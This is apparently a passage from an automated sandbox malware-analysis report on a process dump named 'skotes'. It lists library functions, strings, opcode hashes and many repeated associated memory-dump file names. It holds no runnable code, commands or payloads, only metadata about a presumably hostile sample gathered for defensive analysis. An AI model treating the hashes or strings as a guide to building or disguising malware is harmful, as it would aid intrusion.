PMDtoOffset.LIBCMT ref: 00924EAC

Strings

Bad dynamic_cast!, xrefs: 00924EEE

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 54233e014fea520c34c60c229e5dad013f216bd7146051a82f610af94172e62b
Instruction ID: 1c7823943460420bf75bf68b948ede87419843856aeedb11e071bf4aea0a007b
Opcode Fuzzy Hash: 54233e014fea520c34c60c229e5dad013f216bd7146051a82f610af94172e62b
Instruction Fuzzy Hash: 7021F772600225AFDF14DF68FD46FAE77A8FF84724B118519F91197288DB35E9008791

Function 0092727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009272BE

Strings

.bat, xrefs: 009272ED
.cmd, xrefs: 009272DC
.exe, xrefs: 009272CB
.com, xrefs: 009272FE

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 4efd747abcedd0f5168a821f8b088af139fc0b44896f6353c0e066a7619ecaf1
Instruction ID: e3da1da274b044e8acac018f663f743d5024b85300874410c58f18874752594b
Opcode Fuzzy Hash: 4efd747abcedd0f5168a821f8b088af139fc0b44896f6353c0e066a7619ecaf1
Instruction Fuzzy Hash: 71012627718732256A159199BD02B6B93CC9BC2BB8B25402AFC94FB1C9EF44DC4221E0

Function 0090FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0090FB06

Strings

kernel32.dll, xrefs: 0090FA7A
GetCurrentProcessorNumberEx, xrefs: 0090FABE
SetThreadGroupAffinity, xrefs: 0090FA87
GetThreadGroupAffinity, xrefs: 0090FA93

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 701fcd15d32942b70e4213e49e765fc9168e5fd42270a398f9cded72a0fe73ef
Instruction ID: 53279dd9c400947e9c15cdcfc971e92bc8e0f2a2bd9c42e66db6c6ab2c59dc6c
Opcode Fuzzy Hash: 701fcd15d32942b70e4213e49e765fc9168e5fd42270a398f9cded72a0fe73ef
Instruction Fuzzy Hash: 8901F5327593152DF230B7FA9D56EFB25DC9AC670D7200826B545E2583FDE5E8804660

Function 00922097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 009220B7

Part of subcall function 0091CAF3: Mailbox.LIBCMT ref: 0091CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009220C8
StructuredWorkStealingQueue.LIBCMT ref: 009220FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0092210F

Strings

e, xrefs: 009220D9

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 0dbda4b03d0554a5bd22ba3a6ef239b4e8633320ce0f2e3a51612d3b8394a067
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: A0110631609125BBDB11DF78E881BAB73A8EF41328B24C15AFC168F20BDB75D911CB90

Function 0090D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0090D0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 0090D03B
kernel32.dll, xrefs: 0090D04C
SleepConditionVariableCS, xrefs: 0090D05D
WakeAllConditionVariable, xrefs: 0090D069

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
